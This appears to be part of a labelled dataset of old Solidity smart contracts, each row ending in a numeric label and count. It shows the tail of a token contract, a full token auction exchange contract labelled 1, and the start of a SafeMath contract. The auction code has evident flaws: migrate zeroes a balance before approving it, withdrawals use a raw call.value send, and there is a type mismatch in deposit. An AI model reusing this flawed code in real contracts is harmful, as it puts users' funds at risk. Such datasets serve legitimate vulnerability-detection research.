function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,581 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeMul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function is112bit(uint x) internal pure returns (bool) {
if (x < 1 << 112) {
return true;
} else {
return false;
}
}
function is32bit(uint x) internal pure returns (bool) {
if (x < 1 << 32) {
return true;
} else {
return false;
}
}
}
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint public decimals;
string public name;
}
contract NoReturnToken {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) {}
function transferFrom(address _from, address _to, uint256 _value) {}
function approve(address _spender, uint256 _value) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint public decimals;
string public name;
}
contract NewAuction {
function depositForUser(address _user) payable {}
function depositTokenForUser(address _user, address _token, uint _amount) {}
}
contract Auction is SafeMath {
struct TokenAuction {
mapping (uint => uint) buyOrders;
uint buyCount;
mapping (uint => uint) sellOrders;
uint sellCount;
uint maxVolume;
uint maxVolumePrice;
uint maxVolumePriceB;
uint maxVolumePriceS;
bool toBeExecuted;
bool activeAuction;
uint executionIndex;
uint executionBuyVolume;
uint executionSellVolume;
uint auctionIndex;
mapping (uint => mapping (uint => uint)) checkAuctionIndex;
mapping (uint => mapping (uint => uint)) checkIndex;
mapping (uint => mapping (uint => uint)) checkBuyVolume;
mapping (uint => mapping (uint => uint)) checkSellVolume;
uint minimumOrder;
bool supported;
bool lastAuction;
bool everSupported;
uint nextAuctionTime;
uint checkDuration;
bool startedReveal;
bool startedCheck;
bool startedExecute;
uint onchainBuyCount;
uint onchainSellCount;
uint publicBuyCount;
uint publicSellCount;
uint revealDuration;
uint decimals;
uint unit;
uint lastPrice;
bool noReturnTransfer;
bool noReturnApprove;
bool noReturnTransferFrom;
bool autoWithdrawDisabled;
}
mapping (address => TokenAuction) token;
address[] indexToAddress;
mapping (address => uint32) public addressToIndex;
address admin;
address operator;
mapping (address => mapping (address => uint)) public balances;
bool constant developmentTiming = false;
uint[] public fees;
address feeAccount;
bool feeAccountFinalised;
address[] tokenList;
uint public activeAuctionCount = 0;
uint public revealingAuctionCount = 0;
mapping (address => uint) public signedWithdrawalNonce;
mapping (address => bool) public autoWithdraw;
mapping (address => bool) public staticAutoWithdraw;
mapping (address => bool) public verifiedContract;
uint[] reserve;
event BuyOrderPosted(address indexed tokenAddress, uint indexed auctionIndex, address indexed userAddress, uint orderIndex, uint price, uint amount);
event BuyOrderRemoved(address indexed tokenAddress, uint indexed auctionIndex, address indexed userAddress, uint orderIndex);
event SellOrderPosted(address indexed tokenAddress, uint indexed auctionIndex, address indexed userAddress, uint orderIndex, uint price, uint amount);
event SellOrderRemoved(address indexed tokenAddress, uint indexed auctionIndex, address indexed userAddress, uint orderIndex);
event Deposit(address indexed tokenAddress, address indexed userAddress, uint amount);
event Withdrawal(address indexed tokenAddress, address indexed userAddress, uint amount);
event AuctionHistory(address indexed tokenAddress, uint indexed auctionIndex, uint auctionTime, uint price, uint volume);
function Auction(address a) {
admin = a;
indexToAddress.push(0);
operator = a;
feeAccount = a;
fees.push(0);
fees.push(0);
fees.push(0);
}
function addToken(address t, uint min) external {
require(msg.sender == operator);
require(t > 0);
if (!token[t].everSupported) {
tokenList.push(t);
}
token[t].supported = true;
token[t].everSupported = true;
token[t].lastAuction = false;
token[t].minimumOrder = min;
if (token[t].unit == 0) {
token[t].decimals = Token(t).decimals();
token[t].unit = 10**token[t].decimals;
}
}
function setNoReturnToken(address t, bool nrt, bool nra, bool nrtf) external {
require(msg.sender == operator);
token[t].noReturnTransfer = nrt;
token[t].noReturnApprove = nra;
token[t].noReturnTransferFrom = nrtf;
}
function removeToken(address t) external {
require(msg.sender == operator);
token[t].lastAuction = true;
}
function changeAdmin(address a) external {
require(msg.sender == admin);
admin = a;
}
function changeOperator(address a) external {
require(msg.sender == admin);
operator = a;
}
function changeFeeAccount(address a) external {
require(msg.sender == admin);
require(activeAuctionCount == 0);
require(!feeAccountFinalised);
feeAccount = a;
}
function finaliseFeeAccount() external {
require(msg.sender == admin);
feeAccountFinalised = true;
}
function changeMinimumOrder(address t, uint x) external {
require(msg.sender == operator);
require(token[t].supported);
token[t].minimumOrder = x;
}
function changeFees(uint[] f) external {
require(msg.sender == operator);
require(activeAuctionCount == 0);
for (uint i=0; i < f.length; i++) {
require(f[i] < (10 finney));
}
fees = f;
}
function feeForBuyOrder(address t, uint i) public view returns (uint) {
if (i < token[t].onchainBuyCount) {
return fees[0];
} else {
if (i < token[t].publicBuyCount) {
return fees[1];
} else {
return fees[2];
}
}
}
function feeForSellOrder(address t, uint i) public view returns (uint) {
if (i < token[t].onchainSellCount) {
return fees[0];
} else {
if (i < token[t].publicSellCount) {
return fees[1];
} else {
return fees[2];
}
}
}
function isAuctionTime(address t) public view returns (bool) {
if (developmentTiming) { return true; }
return (block.timestamp < token[t].nextAuctionTime) && (!token[t].startedReveal);
}
function isRevealTime(address t) public view returns (bool) {
if (developmentTiming) { return true; }
return (block.timestamp >= token[t].nextAuctionTime || token[t].startedReveal) && (block.timestamp < token[t].nextAuctionTime + token[t].revealDuration && !token[t].startedCheck);
}
function isCheckingTime(address t) public view returns (bool) {
if (developmentTiming) { return true; }
return (block.timestamp >= token[t].nextAuctionTime + token[t].revealDuration || token[t].startedCheck) && (block.timestamp < token[t].nextAuctionTime + token[t].revealDuration + token[t].checkDuration && !token[t].startedExecute);
}
function isExecutionTime(address t) public view returns (bool) {
if (developmentTiming) { return true; }
return (block.timestamp >= token[t].nextAuctionTime + token[t].revealDuration + token[t].checkDuration || token[t].startedExecute);
}
function setDecimals(address t, uint x) public {
require(msg.sender == operator);
require(token[t].unit == 0);
token[t].decimals = x;
token[t].unit = 10**x;
}
function addReserve(uint x) external {
uint maxUInt = 0;
maxUInt = maxUInt - 1;
for (uint i=0; i < x; i++) {
reserve.push(maxUInt);
}
}
function useReserve(uint x) private {
require(x <= reserve.length);
reserve.length = reserve.length - x;
}
function startAuction(address t, uint auctionTime, uint revealDuration, uint checkDuration) external {
require(msg.sender == operator);
require(token[t].supported);
require(revealingAuctionCount == 0);
require(isExecutionTime(t) || token[t].nextAuctionTime == 0);
require(!token[t].toBeExecuted);
require(!token[t].activeAuction);
require(auctionTime > block.timestamp || developmentTiming);
require(auctionTime <= block.timestamp + 7 * 24 * 3600 || developmentTiming);
require(revealDuration <= 24 * 3600);
require(checkDuration <= 24 * 3600);
require(checkDuration >= 5 * 60);
token[t].nextAuctionTime = auctionTime;
token[t].revealDuration = revealDuration;
token[t].checkDuration = checkDuration;
token[t].startedReveal = false;
token[t].startedCheck = false;
token[t].startedExecute = false;
uint maxUInt = 0;
maxUInt = maxUInt - 1;
token[t].onchainBuyCount = maxUInt;
token[t].onchainSellCount = maxUInt;
token[t].publicBuyCount = maxUInt;
token[t].publicSellCount = maxUInt;
token[t].activeAuction = true;
activeAuctionCount++;
}
function buy_(address t, address u, uint p, uint a, uint buyCount) private {
require(is112bit(p));
require(is112bit(a));
require(token[t].supported);
require(t != address(0));
require(u != feeAccount);
uint index = addressToIndex[u];
require(index != 0);
uint balance = balances[0][u];
uint cost = safeMul(p, a) / (token[t].unit);
require(safeMul(cost, token[t].unit) == safeMul(p, a));
uint fee = feeForBuyOrder(t, buyCount);
uint totalCost = safeAdd(cost, safeMul(cost, fee) / (1 ether));
require(balance >= totalCost);
require(cost >= token[0].minimumOrder);
require(a >= token[t].minimumOrder);
balances[0][u] = safeSub(balance, totalCost);
token[t].buyOrders[buyCount] = (((index << 112) | p) << 112) | a;
emit BuyOrderPosted(t, token[t].auctionIndex, u, buyCount, p, a);
}
function sell_(address t, address u, uint p, uint a, uint sellCount) private {
require(is112bit(p));
require(is112bit(a));
require(token[t].supported);
require(t != address(0));
require(u != feeAccount);
uint index = addressToIndex[u];
require(index != 0);
uint balance = balances[t][u];
require(balance >= a);
uint cost = safeMul(p, a) / (token[t].unit);
require(safeMul(cost, token[t].unit) == safeMul(p, a));
require(cost >= token[0].minimumOrder);
require(a >= token[t].minimumOrder);
balances[t][u] = safeSub(balance, a);
token[t].sellOrders[sellCount] = (((index << 112) | p) << 112) | a;
emit SellOrderPosted(t, token[t].auctionIndex, u, sellCount, p, a);
}
function buy(address t, uint p, uint a) public {
require(isAuctionTime(t));
uint buyCount = token[t].buyCount;
buy_(t, msg.sender, p, a, buyCount);
token[t].buyCount = buyCount + 1;
}
function sell(address t, uint p, uint a) public {
require(isAuctionTime(t));
uint sellCount = token[t].sellCount;
sell_(t, msg.sender, p, a, sellCount);
token[t].sellCount = sellCount + 1;
}
function depositAndBuy(address t, uint p, uint a) external payable {
deposit();
buy(t, p, a);
if (!staticAutoWithdraw[msg.sender] && !autoWithdraw[msg.sender]) {
autoWithdraw[msg.sender] = true;
}
}
function depositAndSell(address t, uint p, uint a, uint depositAmount) external {
depositToken(t, depositAmount);
sell(t, p, a);
if (!staticAutoWithdraw[msg.sender] && !autoWithdraw[msg.sender]) {
autoWithdraw[msg.sender] = true;
}
}
function removeBuy(address t, uint i) external {
require(token[t].supported);
require(isAuctionTime(t));
uint index = addressToIndex[msg.sender];
require(index != 0);
uint order = token[t].buyOrders[i];
require(order >> 224 == index);
uint cost = safeMul(((order << 32) >> 144), ((order << 144) >> 144)) / (token[t].unit);
uint totalCost = safeAdd(cost, safeMul(cost, feeForBuyOrder(t, i)) / (1 ether));
balances[0][msg.sender] = safeAdd(balances[0][msg.sender], totalCost);
token[t].buyOrders[i] &= (((1 << 144) - 1) << 112);
emit BuyOrderRemoved(t, token[t].auctionIndex, msg.sender, i);
}
function removeSell(address t, uint i) external {
require(token[t].supported);
require(isAuctionTime(t));
uint index = addressToIndex[msg.sender];
require(index != 0);
uint order = token[t].sellOrders[i];
require(order >> 224 == index);
balances[t][msg.sender] = safeAdd(balances[t][msg.sender], (order << 144) >> 144);
token[t].sellOrders[i] &= (((1 << 144) - 1) << 112);
emit SellOrderRemoved(t, token[t].auctionIndex, msg.sender, i);
}
function startReveal(address t) external {
require(msg.sender == operator);
require(isRevealTime(t));
require(!token[t].startedReveal);
revealingAuctionCount++;
token[t].startedReveal = true;
}
function revealPublicOrdersCount(address t, uint pbc, uint psc) external {
require(msg.sender == operator);
require(isRevealTime(t));
require(token[t].startedReveal);
require(pbc >= token[t].buyCount);
require(psc >= token[t].sellCount);
require(token[t].onchainBuyCount > token[t].buyCount);
require(token[t].onchainSellCount > token[t].sellCount);
token[t].onchainBuyCount = token[t].buyCount;
token[t].onchainSellCount = token[t].sellCount;
token[t].publicBuyCount = pbc;
token[t].publicSellCount = psc;
}
function recoverHashSignatory(address t, bytes type_, uint price, uint amount, uint id, uint8 v, bytes32 r, bytes32 s) public pure returns (address) {
bytes32 hash = keccak256(abi.encodePacked(type_, amount, t, price, id));
address signatory = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), v, r, s);
require(signatory != address(0));
return signatory;
}
function recoverTypedSignatory(address t, bytes type_, uint price, uint amount, uint id, uint8 v, bytes32 r, bytes32 s) public pure returns (address) {
bytes32 hash = keccak256(abi.encodePacked(
keccak256(abi.encodePacked('string Order type', 'address Token address', 'uint256 Price', 'uint256 Amount', 'uint256 Auction index')),
keccak256(abi.encodePacked(type_, t, price, amount, id))
));
address signatory = ecrecover(hash, v, r, s);
require(signatory != address(0));
return signatory;
}
function revealBuy_(address t, uint order, uint8 v, bytes32 r, bytes32 s, uint buyCount) private {
require(msg.sender == operator);
require(isRevealTime(t));
require(token[t].startedReveal);
if (buyCount > token[t].onchainBuyCount && buyCount != token[t].publicBuyCount) {
require(order > token[t].buyOrders[buyCount - 1]);
}
address userAddress = indexToAddress[order >> 224];
uint price = (order << 32) >> 144;
uint amount = (order << 144) >> 144;
uint id = token[t].auctionIndex;
address signedUserAddress;
if (buyCount < token[t].publicBuyCount) {
signedUserAddress = recoverTypedSignatory(t, "Public buy", price, amount, id, v, r, s);
} else {
signedUserAddress = recoverTypedSignatory(t, "Hidden buy", price, amount, id, v, r, s);
}
if (signedUserAddress != userAddress) {
if (buyCount < token[t].publicBuyCount) {
signedUserAddress = recoverHashSignatory(t, "Public buy", price, amount, id, v, r, s);
} else {
signedUserAddress = recoverHashSignatory(t, "Hidden buy", price, amount, id, v, r, s);
}
require(signedUserAddress == userAddress);
}
buy_(t, userAddress, price, amount, buyCount);
}
function revealSell_(address t, uint order, uint8 v, bytes32 r, bytes32 s, uint sellCount) private {
require(msg.sender == operator);
require(isRevealTime(t));
require(token[t].startedReveal);
if (sellCount > token[t].onchainSellCount && sellCount != token[t].publicSellCount) {
require(order > token[t].sellOrders[sellCount - 1]);
}
address userAddress = indexToAddress[order >> 224];
uint price = (order << 32) >> 144;
uint amount = (order << 144) >> 144;
uint id = token[t].auctionIndex;
address signedUserAddress;
if (sellCount < token[t].publicSellCount) {
signedUserAddress = recoverTypedSignatory(t, "Public sell", price, amount, id, v, r, s);
} else {
signedUserAddress = recoverTypedSignatory(t, "Hidden sell", price, amount, id, v, r, s);
}
if (signedUserAddress != userAddress) {
if (sellCount < token[t].publicSellCount) {
signedUserAddress = recoverHashSignatory(t, "Public sell", price, amount, id, v, r, s);
} else {
signedUserAddress = recoverHashSignatory(t, "Hidden sell", price, amount, id, v, r, s);
}
require(signedUserAddress == userAddress);
}
sell_(t, userAddress, price, amount, sellCount);
}
function revealBuys(address t, uint[] order, uint8[] v, bytes32[] r, bytes32[] s, uint reserveUsage) external {
uint buyCount = token[t].buyCount;
for (uint i = 0; i < order.length; i++) {
revealBuy_(t, order[i], v[i], r[i], s[i], buyCount);
buyCount++;
}
token[t].buyCount = buyCount;
useReserve(reserveUsage);
}
function revealSells(address t, uint[] order, uint8[] v, bytes32[] r, bytes32[] s, uint reserveUsage) external {
uint sellCount = token[t].sellCount;
for (uint i = 0; i < order.length; i++) {
revealSell_(t, order[i], v[i], r[i], s[i], sellCount);
sellCount++;
}
token[t].sellCount = sellCount;
useReserve(reserveUsage);
}
function addEtherBalance_(address userAddress, uint amount) private {
bool withdrawn = false;
if (amount > 0) {
if (autoWithdraw[userAddress] && !token[0].autoWithdrawDisabled) {
uint size;
assembly {size := extcodesize(userAddress)}
if (size == 0) {
withdrawn = userAddress.send(amount);
}
}
if (!withdrawn) {
balances[0][userAddress] = safeAdd(balances[0][userAddress], amount);
}
}
}
function addTokenBalance_(address tokenAddress, address userAddress, uint amount) private {
require(tokenAddress != address(0));
bool withdrawn = false;
if (amount > 0) {
if (autoWithdraw[userAddress] && !token[tokenAddress].autoWithdrawDisabled) {
if (!token[tokenAddress].noReturnTransfer) {
withdrawn = Token(tokenAddress).transfer(userAddress, amount);
}
}
if (!withdrawn) {
balances[tokenAddress][userAddress] = safeAdd(balances[tokenAddress][userAddress], amount);
}
}
}
function checkVolume(address t, uint pb, uint ps, uint limit, uint reserveUsage) external {
require(is112bit(pb));
require(is112bit(ps));
require(ps <= pb);
require(token[t].supported);
require(isCheckingTime(t));
require(token[t].startedReveal);
if (!token[t].startedCheck) {
revealingAuctionCount = safeSub(revealingAuctionCount, 1);
token[t].startedCheck = true;
}
if (token[t].checkAuctionIndex[pb][ps] < token[t].auctionIndex) {
token[t].checkIndex[pb][ps] = 0;
token[t].checkBuyVolume[pb][ps] = 0;
token[t].checkSellVolume[pb][ps] = 0;
token[t].checkAuctionIndex[pb][ps] = token[t].auctionIndex;
}
uint buyVolume = token[t].checkBuyVolume[pb][ps];
uint order;
for (uint i = token[t].checkIndex[pb][ps]; (i < safeAdd(token[t].checkIndex[pb][ps], limit)) && (i < token[t].buyCount); i++) {
order = token[t].buyOrders[i];
if ((order << 32) >> 144 >= pb) {
buyVolume += (order << 144) >> 144;
}
}
uint sellVolume = token[t].checkSellVolume[pb][ps];
for (i = token[t].checkIndex[pb][ps]; (i < safeAdd(token[t].checkIndex[pb][ps], limit)) && (i < token[t].sellCount); i++) {
order = token[t].sellOrders[i];
if ((order << 32) >> 144 <= ps) {
sellVolume += (order << 144) >> 144;
}
}
token[t].checkIndex[pb][ps] = safeAdd(token[t].checkIndex[pb][ps], limit);
if ((token[t].checkIndex[pb][ps] >= token[t].buyCount) && (token[t].checkIndex[pb][ps] >= token[t].sellCount)) {
uint volume;
if (buyVolume < sellVolume) {
volume = buyVolume;
} else {
volume = sellVolume;
}
if (volume > token[t].maxVolume || (volume == token[t].maxVolume && pb > token[t].maxVolumePriceB) || (volume == token[t].maxVolume && pb == token[t].maxVolumePriceB && ps < token[t].maxVolumePriceS)) {
token[t].maxVolume = volume;
if (buyVolume > sellVolume) {
token[t].maxVolumePrice = pb;
} else {
if (sellVolume > buyVolume) {
token[t].maxVolumePrice = ps;
} else {
token[t].maxVolumePrice = ps;
token[t].maxVolumePrice += (pb - ps) / 2;
}
}
token[t].maxVolumePriceB = pb;
token[t].maxVolumePriceS = ps;
}
if (msg.sender == operator) {
token[t].toBeExecuted = true;
}
} else {
token[t].checkBuyVolume[pb][ps] = buyVolume;
token[t].checkSellVolume[pb][ps] = sellVolume;
}
if (msg.sender == operator) {
useReserve(reserveUsage);
}
}
function executeAuction(address t, uint limit, uint reserveUsage) external {
require(isExecutionTime(t));
require(token[t].supported);
require(token[t].activeAuction);
if (!token[t].startedCheck) {
if (token[t].startedReveal) {
revealingAuctionCount = safeSub(revealingAuctionCount, 1);
}
token[t].startedCheck = true;
}
if (!token[t].toBeExecuted) {
token[t].maxVolume = 0;
}
if (!token[t].startedExecute) {
token[t].startedExecute = true;
}
uint amount;
uint volume = token[t].executionBuyVolume;
uint[6] memory current;
uint feeAccountBalance = balances[0][feeAccount];
address currentAddress;
for (uint i = token[t].executionIndex; (i < safeAdd(token[t].executionIndex, limit)) && (i < token[t].buyCount); i++) {
current[0] = token[t].buyOrders[i];
currentAddress = indexToAddress[current[0] >> 224];
if ((current[0] << 32) >> 144 >= token[t].maxVolumePriceB && volume < token[t].maxVolume) {
amount = (current[0] << 144) >> 144;
volume += amount;
if (volume > token[t].maxVolume) {
current[1] = safeMul((current[0] << 32) >> 144, amount) / (token[t].unit);
current[2] = safeAdd(current[1], safeMul(current[1], feeForBuyOrder(t, i)) / (1 ether));
amount = safeSub(amount, safeSub(volume, token[t].maxVolume));
current[3] = safeMul((current[0] << 32) >> 144, amount) / (token[t].unit);
current[4] = safeAdd(current[3], safeMul(current[3], feeForBuyOrder(t, i)) / (1 ether));
addEtherBalance_(currentAddress, safeSub(current[2], current[4]));
}
if ((current[0] << 32) >> 144 > token[t].maxVolumePrice) {
current[1] = safeMul((current[0] << 32) >> 144, amount) / (token[t].unit);
current[2] = safeAdd(current[1], safeMul(current[1], feeForBuyOrder(t, i)) / (1 ether));
current[3] = safeMul(token[t].maxVolumePrice, amount) / (token[t].unit);
current[4] = safeAdd(current[3], safeMul(current[3], feeForBuyOrder(t, i)) / (1 ether));
addEtherBalance_(currentAddress, safeSub(current[2], current[4]));
}
addTokenBalance_(t, currentAddress, amount);
current[5] = safeMul(safeMul(token[t].maxVolumePrice, amount) / (token[t].unit), feeForBuyOrder(t, i)) / (1 ether);
feeAccountBalance += current[5];
} else {
current[1] = safeMul((current[0] << 32) >> 144, (current[0] << 144) >> 144) / (token[t].unit);
current[2] = safeAdd(current[1], safeMul(current[1], feeForBuyOrder(t, i)) / (1 ether));
addEtherBalance_(currentAddress, current[2]);
}
}
token[t].executionBuyVolume = volume;
volume = token[t].executionSellVolume;
for (i = token[t].executionIndex; (i < safeAdd(token[t].executionIndex, limit)) && (i < token[t].sellCount); i++) {
current[0] = token[t].sellOrders[i];
currentAddress = indexToAddress[current[0] >> 224];
if ((current[0] << 32) >> 144 <= token[t].maxVolumePriceS && volume < token[t].maxVolume) {
amount = (current[0] << 144) >> 144;
volume += amount;
if (volume > token[t].maxVolume) {
addTokenBalance_(t, currentAddress, safeSub(volume, token[t].maxVolume));
amount = safeSub(amount, safeSub(volume, token[t].maxVolume));
}
current[5] = safeMul(safeMul(token[t].maxVolumePrice, amount) / (token[t].unit), feeForSellOrder(t, i)) / (1 ether);
addEtherBalance_(currentAddress, safeSub(safeMul(token[t].maxVolumePrice, amount) / (token[t].unit), current[5]));
feeAccountBalance += current[5];
} else {
addTokenBalance_(t, currentAddress, (current[0] << 144) >> 144);
}
}
token[t].executionSellVolume = volume;
balances[0][feeAccount] = feeAccountBalance;
token[t].executionIndex = safeAdd(token[t].executionIndex, limit);
if ((token[t].executionIndex >= token[t].buyCount) && (token[t].executionIndex >= token[t].sellCount)) {
if (token[t].maxVolume > 0) {
token[t].lastPrice = token[t].maxVolumePrice;
emit AuctionHistory(t, token[t].auctionIndex, token[t].nextAuctionTime, token[t].maxVolumePrice, token[t].maxVolume);
}
token[t].buyCount = 0;
token[t].sellCount = 0;
token[t].maxVolume = 0;
token[t].executionIndex = 0;
token[t].executionBuyVolume = 0;
token[t].executionSellVolume = 0;
token[t].toBeExecuted = false;
token[t].activeAuction = false;
token[t].auctionIndex++;
activeAuctionCount = safeSub(activeAuctionCount, 1);
if (token[t].lastAuction) {
token[t].supported = false;
}
}
useReserve(reserveUsage);
}
function register_() private returns (uint32) {
require(is32bit(indexToAddress.length + 1));
require(addressToIndex[msg.sender] == 0);
uint32 index = uint32(indexToAddress.length);
addressToIndex[msg.sender] = index;
indexToAddress.push(msg.sender);
return index;
}
function deposit() public payable {
address index = addressToIndex[msg.sender];
if (index == 0) {
index = register_();
}
balances[0][msg.sender] = safeAdd(balances[0][msg.sender], msg.value);
emit Deposit(0, msg.sender, msg.value);
if (!staticAutoWithdraw[msg.sender] && autoWithdraw[msg.sender]) {
autoWithdraw[msg.sender] = false;
}
}
function withdraw(uint a) external {
require(balances[0][msg.sender] >= a);
require(revealingAuctionCount == 0);
balances[0][msg.sender] = safeSub(balances[0][msg.sender], a);
emit Withdrawal(0, msg.sender, a);
require(msg.sender.send(a));
}
function depositToken_(address t, uint a, address u) private {
require(t > 0);
require(token[t].supported);
uint32 index = addressToIndex[u];
if (index == 0) {
index = register_();
}
if (!token[t].noReturnTransferFrom) {
require(Token(t).transferFrom(u, this, a));
} else {
NoReturnToken(t).transferFrom(u, this, a);
}
balances[t][u] = safeAdd(balances[t][u], a);
emit Deposit(t, u, a);
if (!staticAutoWithdraw[u] && autoWithdraw[u]) {
autoWithdraw[u] = false;
}
}
function depositToken(address t, uint a) public {
depositToken_(t, a, msg.sender);
}
function receiveApproval(address u, uint256 a, address t, bytes d) external {
require(t == msg.sender);
require(token[t].supported);
if (d.length < 64) {
depositToken_(t, a, u);
} else {
require(d.length == 64);
uint price;
uint amount;
assembly { price := calldataload(164) }
assembly { amount := calldataload(196) }
depositToken_(t, a, u);
require(isAuctionTime(t));
uint sellCount = token[t].sellCount;
sell_(t, u, price, amount, sellCount);
token[t].sellCount = sellCount + 1;
if (!staticAutoWithdraw[u] && !autoWithdraw[u]) {
autoWithdraw[u] = true;
}
}
}
function withdrawToken(address t, uint a) external {
require(t > 0);
require(balances[t][msg.sender] >= a);
require((!token[t].startedReveal) || (token[t].startedCheck));
balances[t][msg.sender] = safeSub(balances[t][msg.sender], a);
emit Withdrawal(t, msg.sender, a);
if (!token[t].noReturnTransfer) {
require(Token(t).transfer(msg.sender, a));
} else {
NoReturnToken(t).transfer(msg.sender, a);
}
}
function withdrawForUser(address u, address t, uint a, address feeAddress, uint fee, uint8 v, bytes32 r, bytes32 s) external {
require(msg.sender == operator);
require(u != address(0));
bytes32 hash = keccak256(abi.encodePacked(t, a, feeAddress, fee, signedWithdrawalNonce[u]));
address signatory = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", hash)), v, r, s);
require(signatory == u);
signedWithdrawalNonce[u]++;
balances[feeAddress][u] = safeSub(balances[feeAddress][u], fee);
balances[feeAddress][feeAccount] = safeAdd(balances[feeAddress][feeAccount], fee);
require(balances[t][u] >= a);
if (t == address(0)) {
balances[t][u] = safeSub(balances[t][u], a);
emit Withdrawal(t, u, a);
require(u.call.value(a)());
} else {
balances[t][u] = safeSub(balances[t][u], a);
emit Withdrawal(t, u, a);
if (!token[t].noReturnTransfer) {
require(Token(t).transfer(u, a));
} else {
NoReturnToken(t).transfer(u, a);
}
}
}
function setStaticAutoWithdraw(bool b) external {
staticAutoWithdraw[msg.sender] = b;
}
function setAutoWithdrawDisabled(address t, bool b) external {
require(msg.sender == operator);
token[t].autoWithdrawDisabled = b;
}
function setVerifiedContract(address c, bool b) external {
require(msg.sender == admin);
verifiedContract[c] = b;
}
function claimNeverSupportedToken(address t, uint a) external {
require(!token[t].everSupported);
require(msg.sender == admin);
require(Token(t).balanceOf(this) >= a);
balances[t][msg.sender] = safeAdd(balances[t][msg.sender], a);
}
function migrate(address contractAddress, uint low, uint high) external {
require(verifiedContract[contractAddress]);
require(tokenList.length > 0);
require(revealingAuctionCount == 0);
uint amount = 0;
if (balances[0][msg.sender] > 0) {
amount = balances[0][msg.sender];
balances[0][msg.sender] = 0;
NewAuction(contractAddress).depositForUser.value(amount)(msg.sender);
}
uint to;
if (high >= tokenList.length) {
to = safeSub(tokenList.length, 1);
} else {
to = high;
}
for (uint i=low; i <= to; i++) {
if (balances[tokenList[i]][msg.sender] > 0) {
amount = balances[tokenList[i]][msg.sender];
balances[tokenList[i]][msg.sender] = 0;
if (!token[tokenList[i]].noReturnApprove) {
require(Token(tokenList[i]).approve(contractAddress, balances[tokenList[i]][msg.sender]));
} else {
NoReturnToken(tokenList[i]).approve(contractAddress, balances[tokenList[i]][msg.sender]);
}
NewAuction(contractAddress).depositTokenForUser(msg.sender, tokenList[i], amount);
}
}
}
function getBalance(address t, address a) external constant returns (uint) {
return balances[t][a];
}
function getBuyCount(address t) external constant returns (uint) {
return token[t].buyCount;
}
function getBuyAddress(address t, uint i) external constant returns (address) {
return indexToAddress[token[t].buyOrders[i] >> 224];
}
function getBuyPrice(address t, uint i) external constant returns (uint) {
return (token[t].buyOrders[i] << 32) >> 144;
}
function getBuyAmount(address t, uint i) external constant returns (uint) {
return (token[t].buyOrders[i] << 144) >> 144;
}
function getSellCount(address t) external constant returns (uint) {
return token[t].sellCount;
}
function getSellAddress(address t, uint i) external constant returns (address) {
return indexToAddress[token[t].sellOrders[i] >> 224];
}
function getSellPrice(address t, uint i) external constant returns (uint) {
return (token[t].sellOrders[i] << 32) >> 144;
}
function getSellAmount(address t, uint i) external constant returns (uint) {
return (token[t].sellOrders[i] << 144) >> 144;
}
function getMaxVolume(address t) external constant returns (uint) {
return token[t].maxVolume;
}
function getMaxVolumePriceB(address t) external constant returns (uint) {
return token[t].maxVolumePriceB;
}
function getMaxVolumePriceS(address t) external constant returns (uint) {
return token[t].maxVolumePriceS;
}
function getMaxVolumePrice(address t) external constant returns (uint) {
return token[t].maxVolumePrice;
}
function getUserIndex(address u) external constant returns (uint) {
return addressToIndex[u];
}
function getAuctionIndex(address t) external constant returns (uint) {
return token[t].auctionIndex;
}
function getNextAuctionTime(address t) external constant returns (uint) {
return token[t].nextAuctionTime;
}
function getLastPrice(address t) external constant returns (uint) {
return token[t].lastPrice;
}
} | 1 | 2,956 |
pragma solidity ^0.4.13;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract Controlled {
modifier onlyController() {
require(msg.sender == controller);
_;
}
address public controller;
